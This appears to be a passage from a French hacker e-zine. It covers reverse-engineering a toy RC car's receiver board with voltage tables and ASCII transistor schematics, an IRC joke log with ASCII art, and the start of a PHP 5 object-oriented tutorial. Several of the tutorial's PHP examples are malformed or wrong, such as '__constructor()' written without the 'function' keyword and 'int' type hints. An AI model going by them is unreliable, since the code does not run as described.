d’expérimentation. En revanche se servir de  ce qui existe déjà, sous une  autre
forme soit, mais tout de même, est souvent de meilleur augure.. ici je pense par
exemple à une petite voiture téléguider cheap, même très CHEAP, qui  ne  demande
qu’à  être utilisée…  du moins  pour quelques  heures!:P Souvent  les gens  sont
bernés par le tape à l’œil, le flasheux, des lumières vives etc… mais  qu’est-ce
qui  contrôle cette  voiture téléguider?  Bien sur  le circuit  qu’il VOUS  faut
justement…  Avec un peu de recule on se rend bien compte que ce qui fait avancer
ce véhicule c’est bien-sur son circuit de contrôle,  bien sur il y a des moteurs
pour les roues etc. Mais ce qui vous intéresse c’est le contrôle…, le  contrôle…
si vous désirez  tout de même  utiliser ces petits  moteurs par la  suite, soit,
vous pourrez très bien le faire, ou vous en servir dans d’autres projets futurs.
Voyez-vous ce qui fais le charme de ces singeries, c’est que vous avec un  board
électronique simple, optimisé,  petit, qui bénéficie des avantages des  procédés
de fabrication moderne (et truster moi vous êtres à 100 lieu d’atteindre une tel
perfection à la  maison!), en plus  vous n’avec même  pas à faire  de tests pour
savoirs si ca marche ou pas, vous ne vous casser pas non plus la tête à faire le
plan du transmetteur, comprendre la  physique des ondes, celle de  la modulation
d’un signal électromagnétique,  vous n’allez pas  faire 30 voyage  pour diverses
pièces qu’il vous  faudrait, ni les  assemblez sur un  board électronique à  une
seule face( :P ), en fait tout ce  que vous avez à faire c’est de  vous déplacez
dans un  hardware shop  pas loin de chez  vous, d'achetez un char  téléguidé qui
traîne dans une  boite jaune depuis  2 mois à  attendre un client  potentiel, en
achetant se package de ressources pré-assemblés (et c’est comme ca qu’il faut le
voir), vous rendez service à l’économie, et à votre économie car les pièces dans
cette  voiture  seront  ré-utilisable  à  un  prix  moindre  que  séparer,  vous
encourager la compagnie qui le produit, celle-ci à payer ses ingénieurs, qui  en
retour  feront  encore d’autre  créations  tout aussi  variées  que vos  besoins
futurs :) !  En  somme sans avoir  une grande expérience  dans le domaine,  vous
pouvez tout de même faire votre  flasheux en montrant que VOUS avez  PATENTER le
circuit  qui  contrôle présentement  votre  cossin, ce  qui  est vrai!  Le  tout
nécessite tout de même un effort de réflexion, souvent il faut savoir ouvrir  le
contenant pour avoir accès au contenue le tout SANS endommager quoi que se sois,
rappelez vous que souvent quand sa s’ouvre pas y’a une vis qui est cachée par un
collant  de type  « Pile AA  uniquement, évitez  de  mettre  dans la  bouche des
bébé » si il  existe tout de  même une vis  invisible, la seconde méthode est la
destruction, mais la destruction sélective! Le circuit électronique est  souvent
au centre d’un objet,  souvent près du socket  des batteries (hint facile  ici).
Viens  maintenant  le  temps  de  se servir,  et  ici  je  tien  à préciser  que
l’essentiel est aussi de reverse engeneerer ce que vous avez sous les mains,  en
somme dépluguer pas toute comme des pilleurs de tombes au contraire faite  comme
une scène de crime, analyser ce que  vous avez sous les yeux. Par exemple,  vous
avez deux  fils qui  partent du  board électronique  et qui  vont à  un moteur à
l’avant. Il serait sage de noter quel commande avec la télécommande actionne ces
roues, de bien noter  les fils qui y  sont associés (car bien  évidament vous en
aurez besoin  plus tard  dans la  conception de  VOTRE projet,  et rendu la vaut
mieux savoir déjà quoi fait quoi… souvent il suffit de dévisser de board puis de
sélectivement  découvrir  à  quoi  chaque  fils  sert  avant  de  les  couper et
d’éventuellement libérer complètement le circuit. Une fois fait vous avez  VOTRE
circuit de contrôle :) le tout est  probablement ISO-9002 et ne vous à  pris que
20 min à  extraire et identifier..  un gain majeur  de temps… passé,  présent et
futur !

Il ne vous reste  plus que quoi, la  télécommande jaune fluo d’un  goût douteux?
Soit!,  la  aussi  la  technique  du singe  prouve  encore  son  utilité,  si la
télécommande ne  vous satisfait  pas, dé-boiter  la, prenez  note des différents
contact et  circuits et  réimplanter la  dans un  autre boîtier  (que vous aurez
fait!?). 

Voici une mise en situation des plus banale, vous voulez vous monter une  arcade
dans votre sous sol, étant un puriste, vous ne voulez que des jeux old-school  à
la doom, need  for speed etc…  pour se faire  facile, se trouver  des vieux ordi
crappy, installer le jeux pis s’organiser pour le faire booter automatiquement..
simple  je sais..  mais pour  le contrôleur  ? quoi  prendre… certain  véritable
puriste (et un peu naif) vont  se gosser un circuit avec un  microcontrôleur, le
tout impliquant  un système  de reconnaissance  de donné  par l’ordinateur  pour
avoir les contrôles de leurs choix, d’autres, des singes, vont simplement  aller
s’acheter un gamepad , et  un kit de bouton de  LEURS choix, y vont déboîter  le
gamepad, de la y vont se ressouder des fils qui vont mener aux nouveaux boutons,
et l’utilisateur qui ne vois déjà rien d’électronique ne se rendra pas compte de
la modification. :)

J’ai déjà tweaker une sourie … oui une TRUE MOUSE ! pour jouer à Need for  speed
avec un  volant home  made, le  truc était  plutôt simple,  déboîter la  sourie,
dessouder la microswitch qui servait d’accélérateur pour ensuite la rallonger  à
l’aide d’un  fils le  tout afin  d’avoir une  pédale d’accélérateur.  De la même
façon, on aurait  qu’a dessouder les  capteurs optiques et  les micro fente  qui
leurs sont associer, les remodeler dans le frame que l’on désire et ainsi  avoir
un volant le tout de facon relativement simple et efficace. 

En somme ce qui fais chier un  projet est souvent la complexité des modules  qui
le comportent, si on peu alléger de peu ou de beaucoup cette complexité qui fait
peur, on arrive à : 1-Terminer notre projet, 2-Etre plus enthousiate à le faire,
3-On apprend… Et on apprend quoi ? tout simplement l’électronique, la mécanique,
les matériaux.. en fait les gugus  d’ont vous allez vous servir on  presque tous
été crée par une team d’ingénieur, d’expert ISO-9002, FCC complient etc… souvent
voir comment  sont conçus  ou construit  les objets  par l’intérieur vous laisse
bouche bée… Tellement la mécanique est simple, ou tellement elle est  complexe..
en fait  vous pouvez  enfin dire  de façon  objective que  c’est crissement  bin
faire, ou  que c’est  de la  crisse de  marde… mais  ici on  est rendu au niveau
supérieur soit l’appréciation du génie et/ou de la débrouillardise humaine..

Oui mais moi  j’veux pas juste  un transmetteur, j’veux  avec ca ….  Ya rien qui
vous empêche  de mixer  ensemble deux  ou plusieurs  autres « modules » que vous
aurez extirper de produit sur les tablettes.. par contre il est évidant que pour
bien mettre en symbiose  ces différents éléments il  vous faudra un peu  plus de
connaissance en électronique, à moins qu’encore une fois ce module intermédiaire
ne puisse se trouver dans un marcher au puce près de chez vous.. Ne négliger pas
le  pouvoir  d’un  marcher  au  puce,  si  souvent  l’esthétique  est  dégeulace
l’intérieur est encore beau et fonctionnel… (une belle leçon de philosophie ici)
et en plus c’est pas cher :) 

L’exemple du mois  est plutôt simple  quoi qu’il s’agissent  plus en fait  d’une
introduction à  l’analyse des  circuits intégrée.  J’ai pris  l’exemple des  Zip
Zap.. ces petits chars téléguidés qu’on trouve chez radio shack pour la  modique
somme de 30$.. en fait j’aurais sûrement pu me dégoter une merde téléguide  chez
Dan du marcher au puce pas loin, mais pour des besoins physiques exceptionnelle,
j’ai plutôt opter pour le  model tiny… car le recepteur des Zip Zap tien dans le
minuscule board  de la  voiture.. et  j’ai été  surpris de  voir comment le tout
marchait.. avec une batterie rechargeable, un voltage ridicule, un micro moteurs
etc..  En fait ici je vais utiliser encore ces magnifiques petites pictures pour
vous montrer comment aller chercher les infos dont vous avez besoins..  

1er Etape -Trouver  le matériel.. ici  c’était facile.. je  vais au magasin,  je
paye pis c’est fait.. dans d’autres cas (Et truster moi sur ca) quand sa fait un
bout de temps que  t’opère à cœur ouvert  des circuits du genre  on se développe
son propre junkyard ou on peu piger dedans.. comme ici dans le cas de ce  projet
j’utiliserai sûrement pas le mini moteur  du char téléguider.. je ne risque  pas
non plus de toucher au système  de direction de la voiture, ce  n’est simplement
pas ca qui m‘intéresse.. (pour le moment) et ici est toute la nuance, plus  tard
qui sais.. j’aurais sous la main un moteur d’une grosseur ridicule pour un autre
projet..  enfin !.. 

2e Etape  – Accéder  à la  partie électronique  intelligente ou  de contrôle  du
circuit..  ca  semble  simple  (est   ca  l’est  pour  qq’un  d’un   moindrement
expérimenter, mais on hésite  souvent entre crisser un  coups de marteau sur  le
case qui  rouve pas  ou de  l’ouvrir à  coups de  chainsaw) y’a  souvent des vis
cachées sous un sticker, ou des clips  en plastique qui se clip super séré..  en
fait ici il vous  faudra reverse-engeneerer mécaniquement ce  que la cie a  fait
pour pas  que vous  alliez fouiller  la inutilement..  Une fois  le case ouvert,
souvent  y’a  des fils  pas  rapport qui  pendent  tout partout…  ici  il serait
judicieux de noter un moindrement ou ils vont… et de guesser un peu ce qui  sont
supposer faire…  dans le  cas présent,  les fils  qui vont  au moteur  sont fort
probablement ceux qui  vont l’alimenter en  courant.. de même  que les fils  qui
vont au système de  bobines magnétique pour la  direction ..  on note  aussi une
petite batteries dans le fond du bolide avec sur le dessus cette bonne vielle et
plus qu’évidente mother board. La partie intelligente du circuit se trouve  sous
la goutte de plastique  ronde.. donc pas trop  accessible dans le cas  présent..
par contre on sait (pour avoir fait  le test en s’amusant avec le Zip  Zap avant
de  toute le  dé-calisser pour  la science),  que, quand  on l’active,  on a  un
contrôle Avance,  Recule, tourne  à droite,  tourne à  gauche… bon  sa nous fais
quoi.. 4 possibilités  ? NON !   car on peut  avancer en tournant  ou reculer en
tournant..   donc on  a facile  8 possibilités  de combinaisons.  Mais ce  qu’on
désire d’une tel board c’est qu’il contrôle à distance une interface qu’on  aura
définie par la suite..  donc on veut s’approprier  les signaux de contrôle  (ici
avance,  recule, tourne  x2) pour  les implanter  dans un  autre circuit  affin
d’activer autre chose qu’un moteur ou une bobine.. ou à tout le moins un  moteur
plus gros. Pour s’approprier ces  signaux il faut savoir ou  aller s’interfacer,
la réponse est  simple, suivez les  fils.. ils sont  souvent reliés au  board de
façon évidente, et c’est ici qu’on va devoir dessouder pour mieux ressouder  par
la suite notre device dans son nouveau milieu de travail.

3e Etape  – Analyser  les signaux,  avant même  de tout  pluguer ensemble  en se
disant (sa va marcher)  il est judicieux de  savoir quelle latitude les  signaux
nous permettes d’avoir. En somme, vous ne pourrez pas driver un moteur 12v  avec
dequoi qui drive  à 1.5v. Pour  se faire il  vous faudra un  multimètre affin de
vérifier step-by-step les signaux du board.. une fois activer, première chose  à
faire, trouver le ground.. où la référence.. souvent un fils noir qui est  relié
à la batterie. Ce  fils la sera votre  point de référence pour  mesurer tout les
autres voltages, essayer déjà de voir le voltage au borne de la batteries (c’est
souvent un truc intéressant à savoir,  autant au niveau du circuit que  de celui
de  l’intégrité  de  vos  mesures).  Ensuite  il  vous  faudra  mesurer avec  un
multimètre en mode voltage, les voltages de chacun des contacts ou les fils vont
se souder sur le mini-board.

Pic1.jpg [ Connecteurs  vue  de  dessous,  de  bas  en  haut :  GND  (fil  noir)
           Bobine #1 (fils cuivrer) VCC  fil rouge (on voit aussi  que deux fils
           cuivrés des bobines y  sont inclus, donc  au VCC)  Bobine #2    (fils
           cuivrer) Moteur (fil  bleu) Moteur (fil blanc) Antenne (fil jaune)  ]


Comme ici, on mesure le voltage à la pile (1.5v), on sait donc que ce circuit ne
peut avoir plus de 1.5v ailleurs, si vous voyez 5v poser vous des questions.  Ou
checker  ailleurs  d’où  provient  cet  extra  potentiel.  Ensuite  activer  des
commandes  et  vérifier le  résultat,  comme par  exemple,  quand on  active  la
commande pour faire avancer  le véhicule, on notre  que le contact au  fils bleu
passe d’un état de 1.5v à 0v, on peut donc en déduire que ce signal donne un  0v
lorsque activée. Il en va de même pour les autres contacts.

Une fois la grille des voltage  établie, il faudra remplir celle de  l’ampérage,
pour se  faire vous  devrez dessouder  un des  fils du  contact et  placer votre
multimètre au centre (en mode ampèremètre) de façon a ce que le multimètre  joue
finalement le rôle du  fils conducteur, mais ou  vous pourrez voir la  mesure du
courant qui le traverse.

Pic2.jpg

L’ampérage vous  donnera un  indice des  limites de  courrant que  le board peut
supporter sur ce branchement, en somme si lorsque vous activer une commande vous
drainer 90 milliampères, vous ne pourrez pas espérée brancher une device qui  en
drainera plus..  (du moins  de façon  optimal).. par  contre on  peut facilement
activer des transistors avec un tel ampérage, donc pour la partie interfaçage de
cet article, on risque de remédier à la limite  des 90 milliampères… par  contre
c’est  propre à  vos besoins..  avec 90  milliampères on  peut facilement  faire
allumer 4-5 leds par connections.

Lors de la prises de vos  mesures, il serait judicieux, voir essentiel  de noter
les voltages et ampérages que vous obtiendrer. Ex: une grille du type : 


Component   |      Voltage       |     Ampérage    |  Info                       |
------------+--------------------+-----------------+-----------------------------|
Pile        |     1.5v	         |      100 mA/h   |Ni-Mh rechargeable           |
Contact #1  |     GND     : 0v   |      240 mA     |Alimentation GND             |
Contact #2  |     Bobine DR -    |                 |Bobine Droite                |
            |     Idle    : 1.5v |        0 mA     |Non active                   |
            |     Active  : 0v   |       80 mA     |Active 0v a cette borne      |
Contact #3  |     VCC     : 1.5v |      240 mA     |Alimentation VCC             |
Contact #4  |     Boines+ : 1.5v |                 |Alimentation des bobines(VCC)|
Contact #5  |     Bobine GA -    |                 |Bobine Gauche                |
            |     Idle    : 1.5v |        0 mA     |Non active                   |
            |     Active  : 0v   |       80 mA     |Active 0v a cette borne      |
Contact #6  |     Moteur AV      |                 |Moteur actif en commande Av  |
            |     Idle    : 1.5v |        0 mA     |Non actif                    |
            |     Active  : 0v   |       90 mA     |Actif 0v a cette borne       |
Contact #7  |     Moteur AR      |                 |Moteur actif en commande Ar  |
            |     Idle    : 1.5v |        0 mA     |Non actif                    |
            |     Active  : 0v   |       90 mA     |Actif 0v a cette borne       |
		
		
Ici on voit bien que le maximum d’ampérage que la source (la pile) peut fournir
est 240  mA Et  cette condition  n’est active  que lorsque  le moteur est actif
(d’un sens ou l’autre) et ou  il force (les roues restent immobiles)..  Dans le
cas typique d’utilisation il est de  100 mA. Avec ce tableau plutôt  technique,
on vois  quelques subtilités  apparaître, en  fait tout  les signaux  sont à 0v
lorsqu’ils sont  actif, en  somme le  circuit (à  l’aide des petits transistors
près des bornes, active un drain qui relie le fils connecter au GND  permettant
ainsi au  courant de  circuler en  activant les  bobines ou  le moteur. On voit
aussi que les deux bobines sont  carrément reliées au VCC, donc on  peut parler
ici d’une donnée plutôt triviale, comme leurs valeurs ne changent pas lors  des
tests faits en activant  le contrôleur. Le fils  qui va nullpart est  evidament
l’antenne, on  doit la  garder si  on veut  que le  tout fonctionne encore, par
contre on peut p-e la modifier plus tard pour augmenter son rayon d’action.

Une  fois fait,  cette liste  la sera  votre fiche  technique de  ce module  de
téléguidage  (car  c’est  ce  que  c’est)  vous  pourrez  alors  savoir  comment
interfacer (dans les paramètres physique requis) ce module à vos projets.. et ce
même  plusieurs mois  ou années  plus tard.  Cette  fiche  technique peut  aussi
comprendre  plusieurs  détails louche  ou   pas  que  vous  avec  découvert   en
expérimentant avec  le circuit  en somme  c’est avec  cette fiche  la qu’un gars
moindrement skiller en électronique va pouvoir dire « sa se fait right now »  ou
« j’sais pas trop faudrait je commence par checker le voltage etc.. ».  Et c’est
si plaisant à partager ;)

Tout  ce  gatering  d’information  sera  appliqué  dans  cette  phase  ultime où
j’extirperai le  cœur de  cette mindless  machine pour  le réintroduire  dans ma
création diabolique… (..mouhaa mouhaa!!)  (Félicitation vous avez trouver  votre
idée..)  Mais  avant  d’activer   cette  miniature  créature,  il   nous  faudra
l’interfacer à  notre projet  et ceci  implique de  couper/dessouder le board du
circuit  de son  boîtier original  et de  l’intégrer avec  de nouveaux  fils et
contact a notre circuit de test (enfin celui du projet démoniaque en  question).
Premièrement interfacont la batterie, le board doit être alimenté par un voltage
de  1.5v  (soit  une pile  AA,  AAA,  ou d’autres  piles  de  montres de  taille
ridicules) (reliez les  grounds, du  board et  du  circuit.. et  de pas mal tout
finalement.

Une fois l’alimentation apportée, on se concentre sur les lignes de contrôle  du
module, ici j’ai pris  une nomenclature de type  5v (circuit logique) car  ces 5
petits volts sont plutôt bien documenter over the web si vous désirez  actionner
tout autre  circuit de  puissance ..  raisonnable.. Donc,  pour les  signaux des
bobines de contrôle j’ai place une résistance en « pull up » (de façon à  offrir
un 5v  à la  sortie du  transistor quand  celui-ci n’est  pas actif. La ligne de
contrôle peut ainsi être acheminer à un autre transistor ou à un microcontrôleur
quelconque…

Pour  ce qui  est des  lignes qui  vont au  moteur, il  y a  une particularité
intéressante, ce qui active le sens du moteur (la direction du champ  électrique
qui le drive) est dirigé par un circuit de type H-Bridge, par exemple : 

     
                       +VCC
                         |
                 1  +----+---+  3
                  |/e        e\|
  Avance ---+----b|PNP      PNP|b-----+--- Recule
            |     |\c        c/|      |
            |       |        |        | 
            |       |--- M --|        | 
            |       |        |        |
            |     |/c        c\|      |
            |  +-b|NPN      NPN|b--+  |     
            |  |  |\e        e/|   |  |     
            |  | 3  +----+---+  4  |  |
            |  |         |         |  |
            |  |        --- Gnd    |  |
            |  |         -         |  |
            |  +--------------o<|-----+
            |                      |
            +-|>o------------------+



Le courant ainsi appliquer  au transistor 1 et  4 lors de la  commande (Avance),
fait tourner le moteur dans un sens,  et quand on active les transistors 2  et 3
(Recule),  il tourne  dans l’autre.  Il existe  plusieurs version  de H-Bridges
répondant d’autres  besoin « fiabilité,  précision, courant  élevé, etc.. » more
info at your local I-net search engine. Avec mon circuit de test, j’ai  remarqué
que le signal drainait un courant même quand le circuit n’est pas activé..  j’ai
donc relier (encore avec une résistance en « pull up » ) le signal a un 7406 (un
inverseur logique au prix dérisoire, aussi offert en surface mount for your  own
pleasure,  Digi-key #  296-1435-5-ND.  Le signal  ainsi obtenu  est inversé  une
première fois,  puis une  deuxième fois  (affin d’obtenir  une source de courant
fiable qui ne « fuie » pas, tout  en conservant notre « standard numérique 0v  =
actif, 5v = idle » 


+Vcc = 5v
Transistor=2N3906
Resistance = All 1K
                                                           
                        +VCC                                        
                          |                               
                       +--+                                   
                       |/e                                     
                   +--b|PNP        
                   |   |\c                                 
                   |     +----------------------------+-----O 0-5v Signial #1
             +VCC  |                +VCC          R  | |       200 mA 
Input du       |   | +VCC             |           1K | |           
board          |   |   | R         +--+               |               
remote     R  | |  |   | 1K      |/e             Gnd ---                        
  |        1K | |  |  | |    +--b|PNP                 - 
 \|/           |   |  | |    |   |\c                                       
  `            |   |   |     |     +------------------+-----O 0-5v Signial #2
BOb.1 ---------+---+   |     |                        |        200 mA
Bob.2 -----------------+-----+                     R | |                                                                                1K | |                                                                                    |
              +VCC                               Gnd ---         
                |                                     -
            R  | |                                      
            1K | |                +VCC                      
                |         _____     |                 
Moteur.1 -------+-------_/|   |\_---+              
                      +-_/| 7 |\_      +VCC                           
                      +-_/| 4 |\_        |     +VCC                        
                 +------_/| 0 |\_     R | |      |                  
          +VCC +--------_/| 6 |\_     1K| |   +--+                  
            |  | | +----_/|___|\_--+     |  |/e                    
         R | | | | |  +-_/     \_--|-----+-b|PNP                             
        1K | | | | |  |            |        |\c                  
            |  | | | ---           |   +VCC   +-------+-----O 0-5v Signial #3         
Moteur.2 ---+--+ | |  -            |     |     +VCC  | | R     200 mA         
                 | | Gnd           |  R | |      |   | | 1K           
                 | |               |  1K| |   +--+    |             
                 | +---------------+     |  |/e      --- Gnd 
                 +-----------------------+-b|PNP      - 
                                            |\c
                                              +-------+-----O 0-5v Signial #4
                                                      |        200 mA
                                                     | | R
                                                     | | 1K
                                                      |
                                                     --- Gnd
                                                      -          


Le signal de  sortie est donc  propre, car il  nous est fournie  par le 7406, de
plus ces  entrée libres  peuvent vous  êtres utiles  pour des  tweak de dernière
minutes.. 

A titre  d’exemple sur  ce montage  j’active des  transistors (3906)  Digi-key #
2N3906D26ZCT-ND  avec le signal qui provient du mini-board, en plus d’offrir  un
courant  de 200  mA aux  signaux, ces  3906 jouent  à la  fois un  certain rôle
d’isolation dans  le circuit,  le courant  que vous  utiliserez viendra  donc de
l’alimentation (Via  le transistor),  et non  de votre  petit bord téléguidé. On
note aussi un autre set de résistance en « pull down » cette fois à la sortie du
transistor, encore  une fois  dans le  but de  stabiliser a  0-5v le  voltage de
sortie de votre montage (essentiel pour les applications logique qui pourrait en
découler)..


Pic3.jpg [Image du board interfacer à mon board de test, noter l'utilisation
          du fil wireweap (petit fil) que j'ai twister à une slide de jumper.
          On voit aussi le 7406 brancher avec les résistance en pull-up.     ]


Pic4.jpg [On voit les signaux de sortie qui sont brancher au transistor 3906
          avec une resistance pull-up et pull-down, celles qui semblent sortir
          du circuit sont reliés à des leds (pour les besoins du test).. c'est
          d'ailleur ici que vous prendrez vos signaux.. (à la sortie du
          transistor...)                                                      ]


On peut ainsi contrôler avec la  télécommande 8 états à la fois  (Avance Droite,
Avance Gauche, Recule Droite, Recule Gauche, Avance, Recule, Gauche, Droite), sa
semble peu, mais relier à un microcontrôleur qui pourrait décoder les  différant
états suivant des séquences, on pourrait ainsi atteindre plus de possibilités de
commandes. Mais sa sera pour une autre aventure... 


                                                         Capitan Qwzykx..  
 

.----------------------------------------------- - - --- - ---
| Qwzykx   [Qwzykx at mindkind dot org] www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -



  < When IRC dreams come true... >

  [17:11] <koiz> la rumeur veut que Wyzeman ait embaucher 100 singe qui tappe
                 des key aleatoirement 24hrs sur 24 pour le zine, l'output des
                 primate et filtrer par last ensuite... Wyzeman tu confirm ?
  [17:11] <mtadbf> oui oui
  [17:11] <mtadbf> 100 singe sautant pendant X annee sur des machine a ecirre pourrait ecrire la bible
  [17:12] <mtadbf> donc comme ca il va pouvoir ecrire le zine le + leet jamais sorti
  [17:12] <mtadbf> c juste une question de temps :)
  [17:13] <Wyzeman> oui oui jconfirme
  [17:13] <mtadbf> pas pire comme tactique
  [17:13] <mtadbf> hehe
  [17:14] <LastCall_> hahahahha
  [17:14] <LastCall_> avec des ailes
  [17:14] <LastCall_> comme ça, si ya du monde qui nous écoeure
  [17:14] <LastCall_> on leur send les singes a lattaque!!!
  [17:16] <MindAway> lmao
  [17:16] <MindAway> sont hot nos singes
  [17:16] <MindAway> surtout cleui qui est alcoolique
  [17:16] <MindAway> mojo
  [17:17] <mtadbf> l'alcoolo est surmeent le + productif
  [17:17] <koiz> sa prendrait un singe en ascii pour le zine
  [17:17] <MindAway> ouais
  [17:17] <LastCall_> hahah
  [17:17] <koiz> "Fear our mojo" 
  [17:17] <LastCall_> mojo le singe alcoolique
  [17:17] <koiz> mouahaha
  [17:17] <koiz> yeah quelle trainé ce singe
  [17:17] * Wyzeman changes topic to 'URGENT i faut un signe alcoolique en ascii pour le ezine'

  ainsi soit-t-il...


                                .-------------------.
                              .'                     '.
                            .'           .             '.
                           .'            :               |
                           |             ;               >
                           |                             |
                           |      ------   .-------     .'--.
                         .-'.   .'  _   ' /    _   '.   | __ '
                        | -- './  <-^->  v   <-^->  |  /   ' |
                        '_____ |____          _____'  /_____/
                              \ ;    >  o8o  <       /
                               \    /         \     /      .-------.
                                \  (    __.     )  >      /  .....  \
                                 \_\  /___/>    /_'      (  <     \  \
                                   <__/  //____/   --.    \  \     '-'
                                 _/  /  //       \    `.   \  ;
                                < \-'   '.        \     \   \  \
                                _| \_____/_        \     |  /  /
                         ..---' /     _____)        ;    | /  /
                        (      /    _______)        |    |/  /
                         ;.---/________ \/          :    >  /
                          .--<_______ /\_)          |    | /    .-----.
                         /   (       './           ,'    |/ .--'      .'
                         ;    '-------'             |    |-'           /
                         |    /                    /   /             /
                         (    (    . o )          .-\__/      .'   .'
                 __      )   / \               __/     \_  .-' |   (    __
                '   '---\/\/\/  \            (__          )    |\/\/---'  '   
                \_____________)  \______________(__|__|__/    (___________/   
                
                



    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__
¦
|           mkd.08  PHP 5
:                        aka 'OO in a webserver near you'
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |



        <? Introducing Zend's                _______________
           _________    ____    _____  _____/___           /\ 
          /         \  /   /\  /    /\/         \         / /
         /          /\/   /_/_/    / /          /\_______/ /
        /    O     / /            / /       O  / /_______\/
       /    .____ / /   ____     / /    ._____/ /        \
      /    /\_____\/   /\  /    / /    /\_____\/____.    |\
     /____/ /     /___/ /¯/____/ /____/ //              / /
     \____\/      \___\/  \____\/\____\//______________/ / 
     Available for free at www.php.net !\______________\/ ?>
                                    


! Disclaimer : BOF !
        
        1: Si vous aimez ASP vous pouvez faire pagedown 7x des maintenant..
           ou vous suicider :)
        2: Si vous ne connaissez rien à PHP, envisagez les options précédentes.
        3: Tout comme les libéraux, je ne suis responsable de rien... bon..
           même pas des fautes cé clair ? :p
        4: Cet article est à sont meilleur dans notepad version 5.1
           (Build 2600xpsp2.030422-1633: Service pack 1)
        
! Disclaimer : EOF !


 Intro
 -----
 
PhP est à mon avis un des plus bel exemple de réussite dans le monde de  l'open
source. Et avec  l'arrivée de la  version 5, ca  ne fait que  s'améliorer. J'ai
attendu avec impatience cette version depuis qu'ils ont commencer à l'annoncer.
Mais  j'ai craqué  avant :|  j'ai downloadé  et installé  le beta  1, mais  ne
trouvant pas vraiment  de documentation sur  le net et  manquant cruellement de
temps, j'ai  laissé tomber  assez rapidement..  Mais alors  que le RC2 (Release
Candidate #2) venait  de sortir, j'ai  eu la surprise  de ma vie  quand j'ai vu
dans la librairie un  livre de 918 page  portant sur PHP5 ..  3ieme édition ...
c'est dans ses moment,   qu'on se sent retardé  :-/ L'auteur est Leon  Atkinson
des éditions CampusPress Référence. Je  dois admettre que j'ai sauter  quelques
chapitres  qui me  touche moins.  En général  le livre  est bien   expliqué et
complet. Dans  cet article,  je prends  pour acquis  que vous  avez une base en
PHP4.  Dans le  cas contraire,  si vous  savez programmer,  vous devriez  vous
débrouiller assez bien quand même.  Sinon envisagez de nouveaux la  solution de
l'option #1 du disclaimer. Trève de plaisanteries Dans le but de sauver un  peu
de temps, je  vais éviter de  parler des trucs  déjà présents dans  PHP4, je me
concentrerai plutôt sur les nouvelles features :) De plus, je suis nouveau dans
le  monde de  l'Object Oriented,  alors c'est  possible qu'il  y  ait  quelques
erreurs. L'interface  OO de  PHP4 était  peu attrayante,  mais m'a  permis d'en
comprendre les bases. J'ai toutefois pas trop pousser, car je savais que  celle
de PHP5 serait différente et meilleure en beaucoup de points. Je crois que j'ai
eu un timing parfait de ce coté :)

Core
----

Bon, je vais  faire mon possible  pour décrire la  nouvelle interface objet  de
php5, mais se sont à peu  près tous des principes nouveaux. J'espère  seulement
ne pas être dans l'erreur. L'auteur d'écrit l'interface comme étant à  héritage
simple avec  possibilité de  limiter l'acces  aux membres  et de surcharger des
classes.  Pour  moi  ca  veut  pas  dire  grand'chose  :O  Mais  bon,  un coups
décortiqué, c'est un peu moin pire.

Parmis  les  changements  importants  apportés à  l'interface  OO,  il  y a  la
possibilité d'accèder les  membres d'une classe  sans l'instancier de  la façon
suivante;

<?

maClasse::maFunction("monArg");

?>

Ils ont  aussi introduit  des namespaces  pour remplacer  (même s'il est encore
supporté) le  contreversé $this->  .. Maintenant,  on peut  y arriver  de cette
façon;

<?

# pour accéder à une fonction de la classe actuelle
self::maFunction("monArg");

# pour accéder à une fonction d'une classe parente
parent::maFunction();

?>

L'une des plus grandes améliorations apportées au modèle objet de php est qu'il
ne passe plus les objet par copie, mais par référence (avant on devait utiliser
un & pour  le faire..). Ce  qui entraine une  grande diminution des  ressources
requises  pour  manipuler  les  gros  objets.  De  plus,  il  est  possible  de
restreindre la portée des membres d'une classe. Pour ce faire, php nous fournit
des types d'accès.  
       - Public     : Accessible sans contraintes par des éléments extérieurs
                      de la classe
       - Private    : Les membres privés sont accessibles en lecture/écriture
                      seulement par les membres d'une meme classes
       - Protected  : Ne peut être manipulé que par les membres dérivés de la
                      classes (a mi-chemin entre public et private..)

Ce mécanisme aide à encapsuler  et sécuriser l'accès aux membres  d'une classe.
Comme on peut le voir dans l'exemple suivant:

<?
class maCLass extends maSubClass {
        public $version;

        protected function touchTest() {
                return $this->test();
        }
        

        private function test() {
                return "hello :>";
        }

}
class maSubClass {
        __constructor() {
                echo parent::Test(); # ne fonctionnera pas
                echo parent::touchTest(); # va fonctionner..
        }
}
?>


Il  est  aussi  possible  de déclarer  les  membres  d'une  classe comme  étant
"static", ce qui a  pour effet que d'une  instance à l'autre la  function ou la
variable déclarée statique  ne change pas.  Un peu comme  une variable globale,
mais à l'intérieur d'une classe  ou d'une fonction. C'est applicable  aussi aux
variables..  une  variable  static  ..  paradoxale  :)  Ca  devient  une pseudo
constante ? :pp

<?

# En principe, cette classe devrait incrémenter $count à chaque instance, car
# count est déclaré static. Il retournera le nombre incrémenté à la place de
# se réinitialiser à chaque fois. 
class maClass {
        static $count = 0;
        static function count() {
                return self::$count;
        }
        __constructor() {
                $this->count = $this->count++;
        }
        __destructor() {
                echo $this->count();
        }
}

# Il peut être employé seul ou couplé avec un type d'accès.
# (l'ordre a de l'importance!)

static public maFunction() {
 ...
}
?>

PHP a introduit aussi un mécanisme appelé type hint qui permet de spécifier  le
type d'argument passé à une fonction. Vous pouvez spécifier des "integer",  des
"array", des "objects".. Par exemple on peux exigner qu'un objet soit un dérivé
d'un autre objet pour  être accepté par la  fonction, ou encore on  peut exiger
qu'il soit un entier ou un tableau.

<?
class maClasse {
        public $test ="morve";
}

class monTest {
        public function test(maClasse $blah) {
                echo $test;
        }
        public function addFive(int $num) {
                return ($num + 5);
        }
}
?>

Si la variable $blah n'est pas  dérivée de la classe maClasse, php  déclenchera
une  erreur fatale.  La même  chose se  produira si  $num n'est  pas un  nombre
entier.  Vraiment  pratique  :)  Surtout  que  j'étais  du  genre  à   vérifier
exhaustivement mes types d'entrées avec des fonctions comme is_numeric. avec p.

Avant, on pouvait créer une classe  avec une fonction qui portait le  même nom.
Ceci avait pour effet que cette  fonction était appelée à chaque instance  crée
